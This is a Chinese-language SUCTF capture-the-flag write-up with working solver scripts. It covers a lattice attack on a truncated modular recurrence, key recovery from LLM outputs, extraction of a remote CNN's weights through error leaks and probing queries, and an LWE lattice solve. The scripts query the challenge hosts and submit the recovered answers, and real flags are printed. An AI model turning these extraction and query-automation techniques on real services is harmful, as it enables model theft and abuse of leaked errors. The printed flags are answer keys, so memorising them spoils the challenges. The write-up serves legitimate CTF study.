第一步:从高位输出里找线性关系
记号
设真实输出为:
X_i = z_{i+24}
服务端给出的 hint 是:
Y_i = X_i >> 20
也就是:
X_i = 2^20 * Y_i + e_i
其中:
0 <= e_i < 2^20
想找什么
如果我们能找到一组系数 eta_0 ... eta_{r-1},使得对若干个偏移 j 都有:
eta_0 X_j + eta_1 X_{j+1} + ... + eta_{r-1} X_{j+r-1} = 0
那么代入 X_i = 2^20 Y_i + e_i 就得到:
eta_0 Y_j + eta_1 Y_{j+1} + ... + eta_{r-1} Y_{j+r-1}
= -(eta_0 e_j + ... + eta_{r-1} e_{j+r-1}) / 2^20
右边很小,因为每个 e_i 都只有 20 位。
于是:
对真实序列成立的线性关系,在截断后的高位序列上也会表现成一个“小向量”。
构造格
按照论文 4.1 节的方法,取:
n = 24r = 175t = 65
构造一个 175 x (175 + 65) 的整数格基:
[Y_0 Y_1 ... Y_64 | 1 0 0 ... 0]
[Y_1 Y_2 ... Y_65 | 0 1 0 ... 0]
...
[Y_174 Y_175 ... Y_238 | 0 0 0 ... 1]
对这个格做 BKZ 约化。
约化后前面若干个短向量的后 175 维,就对应一批候选的关系系数 eta。
在线实测
我在成功那次会话里采集了 239 个 hint,然后做 BKZ。
在 reduced basis 里,最短向量的参数量级大概是:
- 前 65 维绝对值在几万
- 后 175 维绝对值也在几万
这是非常典型的“真正命中湮灭关系”的信号。
第二步:通过 resultant 恢复模数
从关系向量到多项式
每个关系向量 eta 都可以看成一个多项式:
F(x) = eta_0 + eta_1 x + ... + eta_{r-1} x^{r-1}
它会湮灭真实输出序列。
根据论文结论,如果真实序列的特征多项式次数为 n = 24,那么任意两个湮灭多项式 F_1(x), F_2(x) 的 resultant 一定满足:
q^24 | resultant(F_1, F_2)
所以:
只要取几对这样的多项式,算出它们的 resultant,再把这些 resultant 求 gcd,通常就能得到
q^24。
实际恢复结果
在成功那条会话里,先取若干个最短关系向量对应的多项式,然后做 resultant。
这些 resultant 的 gcd 恰好是一个完全 24 次幂:
q^24
对它开 24 次整数根,得到:
q = 1152921504606873383
这一步是整题的第一个决定性突破,因为一旦模数出来,后面所有事情都能在有限域上做。
第三步:恢复真正的 24 阶特征多项式
为什么可以对多项式求 gcd
所有第一步找到的湮灭多项式,本质上都被真实的特征多项式整除。
所以把这些多项式放到 GF(q) 上去看,它们的最大公因子应该就是目标特征多项式。
实操
- 把若干个关系多项式的系数都模
q - 归一化成首一多项式
- 在
GF(q)上连续求 gcd
最终会得到一个次数恰好为 24 的多项式:
f(x) = x^24 - c_23 x^23 - ... - c_1 x - c_0
于是我们恢复出递推系数:
X_{t+24} = c_0 X_t + c_1 X_{t+1} + ... + c_23 X_{t+23} mod q
这一步之后,系统已经从“未知模数未知递推”变成了:
- 模数已知
- 系数已知
- 只剩每个输出丢失的低 20 位未知
第四步:恢复低 20 位
这是最后一个真正有难度的地方。
用系数把未来输出写成前 24 项的线性组合
既然递推系数已经知道,那么任意未来输出 X_j 都能表示成最前面 24 个输出的线性组合:
X_j = q_{j,0} X_0 + q_{j,1} X_1 + ... + q_{j,23} X_23 mod q
其中 q_{j,i} 可以递推算出来。
截断形式
又因为:
X_i = 2^20 Y_i + e_i
把它代回去,对 j >= 24 有:
e_j = q_{j,0} e_0 + q_{j,1} e_1 + ... + q_{j,23} e_23 - b_j + k_j q
其中:
b_j = 2^20 * (Y_j - sum(q_{j,i} Y_i))
未知量只有:
e_0 ... e_39- 若干个整数 carry
k_j
而且每个 e_i 都很小:
0 <= e_i < 2^20
这就正好是论文 4.4 节的 SIS / 嵌入格模型。
嵌入格
这里我取:
d = 40- 隐藏位数
20
构造一个 41 x 41 的嵌入格。
目标向量的形状是:
(-2^19, e'_0, e'_1, ..., e'_39)
其中每个 e'_i 都被平移过,使得绝对值落在 [-2^19, 2^19)。
这样所有坐标的规模都被平衡到了同一个数量级,BKZ 会优先把这条目标向量打出来。
实际现象
在成功会话里,BKZ 后最短向量非常明显:
- 第一坐标正好是
2^19 - 其余 40 个坐标都在
[-2^19, 2^19)内
直接按论文公式把它们还原回去,就拿到了前 40 个真实输出的完整值:
X_0, X_1, ..., X_39
并且这些值代回已恢复的 24 阶递推里,完全一致。
这说明低 20 位恢复成功。
第五步:从输出回推出最初的 24 个状态
到这里我们已经知道:
- 模数
q - 递推系数
c_0 ... c_23 - 输出
X_0 ... X_39
但程序要求提交的是:
z_0 + z_1 + ... + z_23 mod q
而我们已知的是:
X_0 = z_24
X_1 = z_25
...
X_23 = z_47
所以还要把原始状态 z_0 ... z_23 解出来。
建立线性方程组
根据递推定义:
X_0 = c_0 z_0 + c_1 z_1 + ... + c_23 z_23
X_1 = c_0 z_1 + c_1 z_2 + ... + c_22 z_23 + c_23 X_0
X_2 = c_0 z_2 + c_1 z_3 + ... + c_21 z_23 + c_22 X_0 + c_23 X_1
...
X_23 = ...
这正好是 24 个未知数、24 个方程。
在模 q 下做高斯消元,就能解出唯一的:
z_0 ... z_23
然后答案就是:
answer = (z_0 + z_1 + ... + z_23) mod q
在成功那次会话里恢复得到:
answer = 374537856601911707
第六步:在线提交
因为远端是“每连接一个新实例”,所以必须在 同一条连接 里完成:
- 收集 239 个 hint
- 恢复
q - 恢复递推系数
- 恢复低 20 位
- 解回原始状态
- 计算答案
- 菜单里选
1 - 提交答案
我最后成功的交互输出如下:
[+] recovered modulus q = 1152921504606873383
[+] recovered answer = 374537856601911707
Please enter your answer: Congratulations! Here is your flag: SUCTF{b8faea32-9f91-42b5-9355-33865e06270c}
代码实现
我把解题过程中整理出的脚本都放进了仓库:
tools/model_lab.py- 用于本地模拟恢复出的递推模型
tools/hint_probe.py- 用于采样远端 hint 序列、观察会话行为
tools/solve_remote.py- 最终在线求解脚本
直接跑最终求解:
python3 tools/solve_remote.py --port 10002
如果想顺手把采样的 hint 落盘:
python3 tools/solve_remote.py --port 10002 --dump-hints live_10002_hints.json
为什么这题能被格搞定
很多人看到“只泄露高位”会先想到暴力补低位,但这里单个输出缺了 20 位,而状态维度有 24,暴力明显不可行。
这题能被格搞定的根本原因是:
- 递推是线性的
- 高位截断带来的误差是“小量”
- 小量和整数倍模数可以一起塞进 lattice / SIS 模型
于是题目就被拆成了两个适合格的子问题:
- 找湮灭关系
- 找低位误差
这正是论文里那套 truncated MRG attack 的核心思想。
踩坑记录
这题里几个坑非常值得单独记一下。
坑 1:函数名义像幂模,实际是乘法模
0x401b45 的结构太像二进制快速幂,很容易眼滑。
但仔细看就会发现它每轮做的是:
res += xx += xy >>= 1
所以它是乘法模。
坑 2:最后一位写回地址必须核准
我中间一度把 Get Hint 理解成:
state <- [state_1, ..., state_23, state_23]
后来重新核地址才确认写的是:
0x4e8398 = 0x4e82e0 + 23 * 8
也就是第二组数组的最后一个元素,真正写回的是新内积值。
这个误判如果不改,整条数学模型都会是错的。
坑 3:远端不是固定实例
如果把 hint 分多次连接采,就会发现每次都不是同一组数据。
所以脚本必须保持长连接。
坑 4:不要一开始就硬上 brute force 低位
这题的正确突破口不是“猜低位”,而是先把:
- 模数
- 递推系数
都用湮灭多项式+resultant 拿出来。
只有把系统压缩到“只差少量低位”的阶段,嵌入格才会稳定工作。
最终结论
题目本质是一个 24 阶模线性递推的高位截断预测问题。
完整解法链条是:
- 逆向
chall,确认真实模型 - 用 BKZ 从高位序列中提取湮灭多项式
- 用 resultant 的 gcd 恢复模数
q - 用有限域上的 gcd 恢复 24 阶特征多项式
- 用嵌入格恢复前 40 个输出缺失的低 20 位
- 反解最初 24 个状态
- 求和取模提交
最终拿到:
SUCTF{b8faea32-9f91-42b5-9355-33865e06270c}
- 在线求解器:
tools/solve_remote.py
#!/usr/bin/env python3
import argparse
import json
import math
import re
import socket
import time
from functools import reduce
from fpylll import BKZ, IntegerMatrix
from sympy import GF, Poly, gcd, resultant, symbols
HINT_RE = re.compile(r"Here is your hint: (\d+)")
def recv_until_prompt(sock: socket.socket, timeout: float) -> str:
sock.settimeout(0.5)
start = time.time()
data = b""
while time.time() - start < timeout:
try:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
if data.endswith(b">>> ") or b"Please enter your answer: " in data:
break
except socket.timeout:
continue
return data.decode("utf-8", "replace")
def collect_hints(sock: socket.socket, count: int, init_timeout: float, step_timeout: float) -> list[int]:
menu = recv_until_prompt(sock, init_timeout)
if ">>>" not in menu:
raise RuntimeError(f"failed to receive initial menu: {menu!r}")
hints = []
for idx in range(count):
sock.sendall(b"2\n")
text = recv_until_prompt(sock, step_timeout)
match = HINT_RE.search(text)
if not match:
raise RuntimeError(f"failed to parse hint {idx}: {text!r}")
hints.append(int(match.group(1)))
if (idx + 1) % 25 == 0:
print(f"[+] collected {idx + 1} hints")
return hints
def build_relation_lattice(hints: list[int], r: int, t: int) -> IntegerMatrix:
basis = IntegerMatrix(r, r + t)
for i in range(r):
for j in range(t):
basis[i, j] = hints[i + j]
basis[i, t + i] = 1
return basis
def integer_nth_root(value: int, n: int) -> int:
lo, hi = 1, 1 << 62
while lo < hi:
mid = (lo + hi + 1) // 2
if mid**n <= value:
lo = mid
else:
hi = mid - 1
return lo
def recover_modulus_and_recurrence(hints: list[int], n: int, r: int, t: int, block_size: int) -> tuple[int, list[int]]:
print("[+] BKZ on relation lattice")
basis = build_relation_lattice(hints, r, t)
BKZ.reduction(basis, BKZ.Param(block_size=block_size))
rows = []
for row in range(r):
vec = [basis[row, col] for col in range(r + t)]
eta = vec[t:]
norm2 = sum(v * v for v in vec)
rows.append((norm2, row, eta))
rows.sort()
x = symbols("x")
polys_zz = []
for _, row, eta in rows[:6]:
coeffs = list(reversed(eta))
while coeffs and coeffs[0] == 0:
coeffs.pop(0)
if not coeffs:
continue
polys_zz.append((row, coeffs))
resultants = []
base_poly = Poly(polys_zz[0][1], x, domain="ZZ")
for _, coeffs in polys_zz[1:5]:
other = Poly(coeffs, x, domain="ZZ")
resultants.append(abs(int(resultant(base_poly, other, x))))
g = reduce(math.gcd, resultants)
modulus = integer_nth_root(g, n)
if modulus**n != g:
raise RuntimeError("failed to extract exact modulus")
print(f"[+] recovered modulus q = {modulus}")
polys_mod = []
for _, coeffs in polys_zz[:5]:
poly = Poly(coeffs, x, domain=GF(modulus))
lc = int(poly.LC())
normalized = [(int(c) * pow(lc, -1, modulus)) % modulus for c in poly.all_coeffs()]
polys_mod.append(Poly(normalized, x, domain=GF(modulus)))
characteristic = polys_mod[0]
for poly in polys_mod[1:]:
characteristic = gcd(characteristic, poly)
if characteristic.degree() != n:
raise RuntimeError(f"unexpected characteristic degree: {characteristic.degree()}")
coeff_desc = [int(c) for c in characteristic.all_coeffs()]
recurrence = [(-int(c)) % modulus for c in reversed(coeff_desc[1:])]
print("[+] recovered recurrence coefficients")
return modulus, recurrence
def build_qcoeff(recurrence: list[int], modulus: int, d: int) -> list[list[int]]:
n = len(recurrence)
qcoeff = [[0] * n for _ in range(d)]
for i in range(n):
qcoeff[i][i] = 1
for j in range(n, d):
vec = [0] * n
for i, coeff in enumerate(recurrence):
prev = qcoeff[j - n + i]
for k in range(n):
vec[k] = (vec[k] + coeff * prev[k]) % modulus
qcoeff[j] = vec
return qcoeff
def recover_exact_outputs(
hints: list[int],
recurrence: list[int],
modulus: int,
hidden_bits: int,
d: int,
block_size: int,
) -> list[int]:
n = len(recurrence)
qcoeff = build_qcoeff(recurrence, modulus, d)
bvals = []
for j in range(n, d):
s = sum(qcoeff[j][i] * hints[i] for i in range(n))
bvals.append((1 << hidden_bits) * (hints[j] - s))
size = d + 1
lattice = IntegerMatrix(size, size)
half = 1 << (hidden_bits - 1)
lattice[0, 0] = half
for col in range(1, n + 1):
lattice[0, col] = half
for idx in range(d - n):
lattice[0, n + 1 + idx] = bvals[idx] + half
for i in range(n):
lattice[1 + i, 1 + i] = 1
for idx in range(d - n):
lattice[1 + i, n + 1 + idx] = qcoeff[n + idx][i]
for idx in range(d - n):
lattice[1 + n + idx, n + 1 + idx] = modulus
print("[+] BKZ on embedding lattice")
BKZ.reduction(lattice, BKZ.Param(block_size=block_size))
candidates = []
for row in range(size):
vec = [lattice[row, col] for col in range(size)]
if abs(vec[0]) != half:
continue
low = []
ok = True
if vec[0] == half:
for coord in vec[1:]:
value = half - coord
if not (0 <= value < (1 << hidden_bits)):
ok = False
break
low.append(value)
else:
for coord in vec[1:]:
value = half + coord
if not (0 <= value < (1 << hidden_bits)):
ok = False
break
low.append(value)
if ok:
candidates.append((sum(v * v for v in vec), low))
if not candidates:
raise RuntimeError("failed to find embedding-lattice candidate")
candidates.sort()
qcoeff = build_qcoeff(recurrence, modulus, d)
for _, low in candidates:
exact = [(hints[i] << hidden_bits) + low[i] for i in range(d)]
valid = True
for j in range(n, d):
rhs = sum((qcoeff[j][i] * exact[i]) % modulus for i in range(n)) % modulus
if rhs != exact[j]:
valid = False
break
if valid:
print("[+] recovered exact truncated-sequence prefix")
return exact
raise RuntimeError("no embedding-lattice candidate satisfied the recurrence")
def solve_original_state(
outputs: list[int],
recurrence: list[int],
modulus: int,
) -> list[int]:
n = len(recurrence)
mat = [[0] * n for _ in range(n)]
vec = outputs[:n]
for t in range(n):
for i in range(n):
idx = t + i
if idx < n:
mat[t][idx] = (mat[t][idx] + recurrence[i]) % modulus
else:
vec[t] = (vec[t] - recurrence[i] * outputs[idx - n]) % modulus
# Gaussian elimination over Z/qZ
row = 0
where = [-1] * n
for col in range(n):
pivot = None
for i in range(row, n):
if mat[i][col] % modulus:
pivot = i
break
if pivot is None:
continue
mat[row], mat[pivot] = mat[pivot], mat[row]
vec[row], vec[pivot] = vec[pivot], vec[row]
inv = pow(mat[row][col], -1, modulus)
for j in range(col, n):
mat[row][j] = (mat[row][j] * inv) % modulus
vec[row] = (vec[row] * inv) % modulus
for i in range(n):
if i == row or mat[i][col] == 0:
continue
factor = mat[i][col] % modulus
for j in range(col, n):
mat[i][j] = (mat[i][j] - factor * mat[row][j]) % modulus
vec[i] = (vec[i] - factor * vec[row]) % modulus
where[col] = row
row += 1
state = [0] * n
for col in range(n):
if where[col] == -1:
raise RuntimeError("failed to solve original state uniquely")
state[col] = vec[where[col]] % modulus
return state
def main() -> None:
parser = argparse.ArgumentParser(description="Solve a live SU_Lattice instance.")
parser.add_argument("--host", default="1.95.152.117")
parser.add_argument("--port", type=int, default=10002)
parser.add_argument("--hint-count", type=int, default=239)
parser.add_argument("--relation-r", type=int, default=175)
parser.add_argument("--relation-t", type=int, default=65)
parser.add_argument("--recover-d", type=int, default=40)
parser.add_argument("--hidden-bits", type=int, default=20)
parser.add_argument("--bkz-block", type=int, default=20)
parser.add_argument("--init-timeout", type=float, default=35.0)
parser.add_argument("--step-timeout", type=float, default=12.0)
parser.add_argument("--dump-hints", default="", help="Optional JSON path for the collected hints.")
args = parser.parse_args()
sock = socket.create_connection((args.host, args.port), timeout=10)
try:
hints = collect_hints(sock, args.hint_count, args.init_timeout, args.step_timeout)
if args.dump_hints:
with open(args.dump_hints, "w") as handle:
json.dump(hints, handle)
modulus, recurrence = recover_modulus_and_recurrence(
hints=hints,
n=24,
r=args.relation_r,
t=args.relation_t,
block_size=args.bkz_block,
)
outputs = recover_exact_outputs(
hints=hints,
recurrence=recurrence,
modulus=modulus,
hidden_bits=args.hidden_bits,
d=args.recover_d,
block_size=args.bkz_block,
)
initial_state = solve_original_state(outputs, recurrence, modulus)
answer = sum(initial_state) % modulus
print(f"[+] recovered answer = {answer}")
sock.sendall(b"1\n")
prompt = recv_until_prompt(sock, args.step_timeout)
print(prompt, end="")
sock.sendall(f"{answer}\n".encode())
final_text = recv_until_prompt(sock, args.step_timeout)
print(final_text, end="")
finally:
sock.close()
if __name__ == "__main__":
main()
- 本地模型验证:
tools/model_lab.py
#!/usr/bin/env python3
import argparse
from pathlib import Path
def load_data(path: Path) -> tuple[int, list[int], list[int]]:
nums = [int(line.strip()) for line in path.read_text().splitlines() if line.strip()]
if len(nums) != 49:
raise ValueError(f"expected 49 integers in {path}, got {len(nums)}")
q = nums[0]
coeffs = nums[1:25]
state = nums[25:49]
return q, coeffs, state
def mul_mod(x: int, y: int, q: int) -> int:
return (x * y) % q
def step(q: int, coeffs: list[int], state: list[int]) -> tuple[int, list[int]]:
x = sum(mul_mod(coeffs[i], state[i], q) for i in range(24)) % q
return x >> 20, state[1:] + [x]
def simulate(q: int, coeffs: list[int], state: list[int], rounds: int) -> list[int]:
hints = []
cur = state[:]
for _ in range(rounds):
hint, cur = step(q, coeffs, cur)
hints.append(hint)
return hints
def main() -> None:
parser = argparse.ArgumentParser(description="Simulate the recovered SU_Lattice recurrence.")
parser.add_argument(
"--data",
type=Path,
default=Path("data"),
help="Path to a data file containing q, 24 coeffs, and 24 state elements.",
)
parser.add_argument("--rounds", type=int, default=10, help="Number of hints to generate.")
args = parser.parse_args()
q, coeffs, state = load_data(args.data)
ans = sum(state) % q
hints = simulate(q, coeffs, state, args.rounds)
print(f"q={q}")
print(f"answer={ans}")
print("hints=")
for idx, hint in enumerate(hints, 1):
print(f"{idx:02d}: {hint}")
if __name__ == "__main__":
main()
- 远端 hint 采样:
tools/hint_probe.py
#!/usr/bin/env python3
import argparse
import re
import socket
import time
from collections import Counter
HINT_RE = re.compile(r"Here is your hint: (\d+)")
def recv_until_prompt(sock: socket.socket, timeout: float) -> str:
sock.settimeout(0.5)
start = time.time()
data = b""
while time.time() - start < timeout:
try:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
if data.endswith(b">>> "):
break
except socket.timeout:
continue
return data.decode("utf-8", "replace")
def collect_session(host: str, port: int, hints: int, init_timeout: float, step_timeout: float) -> list[int]:
sock = socket.create_connection((host, port), timeout=10)
try:
recv_until_prompt(sock, init_timeout)
out = []
for _ in range(hints):
sock.sendall(b"2\n")
text = recv_until_prompt(sock, step_timeout)
match = HINT_RE.search(text)
if not match:
raise RuntimeError(f"failed to parse hint from: {text!r}")
out.append(int(match.group(1)))
sock.sendall(b"3\n")
return out
finally:
sock.close()
def main() -> None:
parser = argparse.ArgumentParser(description="Collect and cluster SU_Lattice hint sessions.")
parser.add_argument("--host", default="1.95.152.117")
parser.add_argument("--port", type=int, required=True)
parser.add_argument("--sessions", type=int, default=4)
parser.add_argument("--hints", type=int, default=8)
parser.add_argument("--prefix", type=int, default=2, help="Cluster sessions by the first N hints.")
parser.add_argument("--init-timeout", type=float, default=30.0)
parser.add_argument("--step-timeout", type=float, default=10.0)
args = parser.parse_args()
sessions = []
for idx in range(args.sessions):
seq = collect_session(
host=args.host,
port=args.port,
hints=args.hints,
init_timeout=args.init_timeout,
step_timeout=args.step_timeout,
)
sessions.append(seq)
print(f"session {idx}: {seq}")
counts = Counter(tuple(seq[: args.prefix]) for seq in sessions)
print("\nprefix clusters:")
for prefix, count in counts.most_common():
print(f"{prefix}: {count}")
if __name__ == "__main__":
main()
AI
SU_easyLLM
访问题目地址会拿到一段 JSON:
{
"algo": "AES-128-CBC",
"iv_b64": "...",
"ciphertext_b64": "...",
"key_derivation": "key = SHA256(LLM_output)[:16]",
"llm": {
"provider": "z.ai",
"model": "GLM-4-Flash",
"temperature": 0.28,
"system_prompt": "You are a password generator.\nOutput ONE password only.\nFormat strictly: pw-xxxxxxxx where x are letters.\nNo explanation, no quotes, no punctuation.",
"user_prompt": "Generate the password now."
}
}
题意很明确:
- 调用一次
GLM-4-Flash - 得到模型输出
LLM_output - 计算
SHA256(LLM_output)[:16] - 作为
AES-128-CBC的密钥去解密密文
所以只要复现出服务端当时拿到的模型输出,就能解出 flag。
先请求题目地址,拿到 iv_b64、ciphertext_b64 和模型提示词。
然后题目指定模型是 GLM-4-Flash,在官网申请一个api调用这个免费模型,直接使用旧接口调用:
POST https://open.bigmodel.cn/api/paas/v4/chat/completions
请求参数:
{
"model": "glm-4-flash",
"messages": [
{
"role": "system",
"content": "You are a password generator.\nOutput ONE password only.\nFormat strictly: pw-xxxxxxxx where x are letters.\nNo explanation, no quotes, no punctuation."
},
{
"role": "user",
"content": "Generate the password now."
}
],
"temperature": 0.28,
"stream": false
}
不断采样模型输出,把每次返回的内容都作为候选密码。
对每个候选密码执行:
key = hashlib.sha256(candidate.encode()).digest()[:16]
然后用题目给出的 IV 和密文做 AES-CBC 解密:
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
最后检查 PKCS#7 padding 是否正确,并判断明文里是否出现 SUCTF。
最终密码得到是(不唯一):
pw-Abcde1f
用这个字符串派生 key 后成功解密,得到:
SUCTF{LLM_w1ll_ch4nge_ev3rything}
exp:
import base64
import hashlib
import json
import urllib.request
from Crypto.Cipher import AES
with urllib.request.urlopen("http://101.245.107.149:10013/") as resp:
ch = json.loads(resp.read().decode())
iv = base64.b64decode(ch["iv_b64"])
ct = base64.b64decode(ch["ciphertext_b64"])
candidate = "pw-Abcde1f"
key = hashlib.sha256(candidate.encode()).digest()[:16]
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
pad = pt[-1]
plaintext = pt[:-pad].decode()
print(plaintext)
#SUCTF{LLM_w1ll_ch4nge_ev3rything}
SU_谁是小偷
题目给了多份互相冲突的信息,关键是按题面和 PDF 所说,优先相信“可重复验证的行为”。
上午的 app.py 和本题 app.py 都是烟雾弹,真正可信的是:
/flag报错能直接泄露远端加载的参数名和形状/predict的输入输出行为能泄露主路径结构
对 model_base.pth 直接提交到 /flag,会得到类似报错:
Unexpected key(s) in state_dict: "conv1.weight", "conv1.bias".
size mismatch for conv.weight: ... [1,1,3,3] -> [1,1,4,4]
这一步可以确定:
- 远端主路径只有两层:
conv和linear conv.weight的形状是1x1x4x4linear仍然接收长度256的一维输入
再对 /predict 做形状探测:
- 输入
19x19时正常返回 256 维输出 - 输入
16x16时会报mat1 and mat2 shapes cannot be multiplied (1x169 and 256x256)
因为 19 - 4 + 1 = 16,所以主路径就是:
Input(1x1x19x19) -> Conv2d(1,1,4x4,stride=1,padding=0) -> Flatten(256) -> Linear(256,256)
这和 PDF 中的 Input -> Stage-A -> Flatten(256) -> Head 完全一致。
整个网络没有激活函数,本质上是线性的。
记远端模型为:
y = F(x)
对零输入查询一次得到偏置项:
y0 = F(0)
再对 19x19 的每个像素基底 e_{i,j} 单独查询:
F(e_{i,j}) - F(0)
这样就能得到一个完整的线性映射矩阵:
M ∈ R^(256 x 361)
其中 361 = 19 * 19。
如果前半段真的是单层 4x4 卷积,那么它的输出空间维度最多是 256,因此 M 的右零空间维度应为:
361 - 256 = 105
实测 rank(M) = 256,完全符合。
对 M 做 SVD,取右零空间基底。
对于零空间中的任意一个 19x19 向量 n,都满足它的所有 4x4 滑窗与真实卷积核 k 正交。
于是把所有零空间向量的所有 4x4 patch 堆起来,再做一次 SVD,最小奇异值对应的向量就是卷积核。恢复得到 primitive kernel:
K =
[[ 6, 10, -1, 4],
[-6, 1, -8, -8],
[-9, 7, -6, 4],
[ 5, -6, -8, 6]]
已知卷积核后,可以显式写出卷积矩阵 T(K):
vec(conv_K(x)) = T(K) · vec(x)
于是有:
M = W · T(K)
其中 W 就是线性层权重。
直接计算:
W = M · pinv(T(K))
四舍五入后得到整数矩阵,重构误差约为 1e-5,说明恢复正确。
这里有一个天然等价变换:
K -> sK
W -> W/s
整体函数不变。
真正能过 /flag`` 的,不是 (+K, +W)` 这一支,而是整体取反后的那一支:
conv.weight = -K
linear.weight = -W
conv.bias = 4
linear.bias = y0 - 4 * ((-W) · 1)
也就是:
conv.weight = -Kconv.bias = 4linear.weight = -Wlinear.bias由零输入响应精确反推
提交后即可拿到 flag。
exp:
import base64
import io
import time
from itertools import product
import requests
import torch
URL = "http://1.95.113.59:10002"
def query(img):
data = {"image": img.tolist()}
for _ in range(8):
try:
r = requests.post(URL + "/predict", json=data, timeout=30)
if r.status_code == 200:
return torch.tensor(r.json()["prediction"], dtype=torch.double)
except Exception:
pass
time.sleep(0.3)
raise RuntimeError("predict failed")
def submit(sd):
buf = io.BytesIO()
torch.save(sd, buf)
payload = {"model": base64.b64encode(buf.getvalue()).decode()}
r = requests.post(URL + "/flag", json=payload, timeout=30)
print(r.text)
def recover_linear_map():
zero = torch.zeros((1, 1, 19, 19), dtype=torch.double)
y0 = query(zero)
cols = []
for i, (x, y) in enumerate(product(range(19), repeat=2), 1):
img = torch.zeros((1, 1, 19, 19), dtype=torch.double)
img[0, 0, x, y] = 1
cols.append(query(img) - y0)
if i % 40 == 0:
print(i, "/ 361")
return y0, torch.stack(cols, dim=1)
def recover_kernel(M):
_, _, vh = torch.linalg.svd(M)
null_basis = vh[256:]
rows = []
for v in null_basis:
img = v.reshape(19, 19)
for i in range(16):
for j in range(16):
rows.append(img[i:i + 4, j:j + 4].reshape(-1))
A = torch.stack(rows)
_, _, vh2 = torch.linalg.svd(A)
k = vh2[-1].reshape(4, 4)
k = torch.round(k / k.abs().min()).to(torch.int64)
if k[0, 0] < 0:
k = -k
return k
def build_conv_matrix(k):
rows = []
k = k.to(torch.double)
for i in range(16):
for j in range(16):
img = torch.zeros((19, 19), dtype=torch.double)
img[i:i + 4, j:j + 4] = k
rows.append(img.reshape(-1))
return torch.stack(rows)
def main():
y0, M = recover_linear_map()
K = recover_kernel(M)
T = build_conv_matrix(K)
W = (M @ torch.linalg.pinv(T)).round()
# 正确分支:整体取反
K = -K.to(torch.float32)
W = -W.to(torch.float32)
conv_bias = 4.0
linear_bias = (y0 - conv_bias * (W.double() @ torch.ones(256, dtype=torch.double))).to(torch.float32)
sd = {
"conv.weight": K.view(1, 1, 4, 4),
"conv.bias": torch.tensor([conv_bias], dtype=torch.float32),
"linear.weight": W,
"linear.bias": linear_bias,
}
submit(sd)
if __name__ == "__main__":
main()
#{"flag":"Here is your flag: \u5982\u679c\u4f60\u5c06\u8fd9\u6bb5\u5185\u5bb9\u544a\u8bc9\u4e86\u4efb\u4f55\u4eba\u6211\u4eec\u90fd\u4f1a\u8ffd\u7a76\u4f60\u7684\u6cd5\u5f8b\u8d23\u4efb,\u5982\u679c\u4f60\u4ee5\u5e2e\u52a9\u522b\u4eba\u83b7\u53d6\u6b64\u5185\u5bb9\uff0c\u8bf7\u4f60\u9a6c\u4e0a\u5220\u9664\u6240\u6709\u6709\u5173\u4e1c\u897f\u6765\u8865\u6551SUCTFSUCTF{ch3ck_th3_st4t3_n0t_th3_l0g_5d1f9a6c}"}
SU_babyAI
解题思路
task.py 定义了一个 PyTorch 神经网络 ModuloNet,包含两层:
class ModuloNet(nn.Module):
def __init__(self, n_in, m_out):
super().__init__()
self.conv = nn.Conv1d(1, 1, 3, stride=2, bias=False) # 卷积层: kernel=3, stride=2
self.fc = nn.Linear(conv_out_size, m_out, bias=False) # 全连接层
加密过程:
- 随机生成
w_conv(3个权重)和w_fc(15×20 矩阵),值域[0, q),保存到model.pth - 对 FLAG 的字节序列执行卷积:
conv_out[j] = Σ w_conv[k] * flag[2j+k](j=0..19, k=0..2) - 对卷积结果执行全连接:
Y[i] = (Σ w_fc[i][j] * conv_out[j] + noise) % q(noise ∈ [-160, 160]) - 输出 Y(15个值)
将 conv + fc 两步合并,定义有效系数矩阵:
则加密简化为:
这就是一个标准的 LWE(Learning With Errors) 问题:
公钥矩阵
A(15×41)可从model.pth恢复密文
Y(15个值)已给出明文
x(FLAG 的 41 个字节)是待求的秘密向量噪声
e范围 ±160,远小于模数 q = 10^9+7已知字节:
SUCTF{(6字节)+}(1字节)= 7字节已知未知字节:34个(索引 6~39)
每个方程提供约 log₂(q) ≈ 30 bits 信息
总信息量:15 × 30 ≈ 450 bits
所需信息量:34 × ~7 ≈ 238 bits(可打印ASCII每字节约7 bits熵)
450 >> 238,信息充足,解唯一
解题步骤
- 用 PyTorch 加载
model.pth,提取w_conv(3个值)和w_fc(15×20矩阵)。 - 将 Conv1d + Linear 合并为 A(15×41),然后代入已知字节
SUCTF{}消去对应列,得到缩减系统:
其中 A’ 为 15×34 矩阵,x_j 为 34 个未知字节。
- 将未知字节以 79(可打印ASCII中点)为中心居中:令
s[j] = x[j] - 79,则|s[j]| ≤ 47。
- 构造 50×50 的格基矩阵 B(行约定):
B = [ q·I₁₅ | 0₁₅ₓ₃₄ | 0 ] ← 15行:模约减
[ A'ᵀ | I₃₄ | 0 ] ← 34行:系数嵌入
[ Y'' | 0 | C ] ← 1行:目标嵌入 (C=1)
目标短向量形式为 **(e₁,…,e₁₅, -s₁,…,-s₃₄, C)**,其范数约为:
Gaussian heuristic 估计 λ₁ ≈ 857,目标向量范数远小于此,LLL 可直接找到。
对 B 执行 LLL 算法,在规约后的格基中找到末尾分量为 ±1 的行,提取噪声和秘密向量,恢复 FLAG。
Exp:
# sage exp.sage
import json, subprocess, os
# ===== Extract weights from model.pth =====
extract_code = '''
import torch, json
state_dict = torch.load("model.pth", map_location="cpu", weights_only=True)
w_conv = state_dict["conv.weight"].squeeze().long().tolist()
w_fc = state_dict["fc.weight"].long().tolist()
json.dump({"w_conv": w_conv, "w_fc": w_fc}, open("weights.json","w"))
'''
with open("_extract.py", "w") as f:
f.write(extract_code)
for cmd in ["conda run -n CTF python _extract.py", "python _extract.py"]:
if os.system(cmd) == 0: break
with open("weights.json") as f:
data = json.load(f)
os.remove("_extract.py")
w_conv = data["w_conv"]
w_fc = data["w_fc"]
# ===== Parameters =====
q = 1000000007
n_flag, m, conv_out_size = 41, 15, 20
Y = [776038603,454677179,277026269,279042526,78728856,
784454706,29243312,291698200,137468500,236943731,
733036662,421311403,340527174,804823668,379367062]
known = {0:83, 1:85, 2:67, 3:84, 4:70, 5:123, 40:125}
# ===== Build A[i][t] = sum_{2j+k=t} w_fc[i][j]*w_conv[k] mod q =====
A = [[0]*n_flag for _ in range(m)]
for i in range(m):
for j in range(conv_out_size):
for k in range(3):
t = 2*j + k
if t < n_flag:
A[i][t] = (A[i][t] + w_fc[i][j] * w_conv[k]) % q
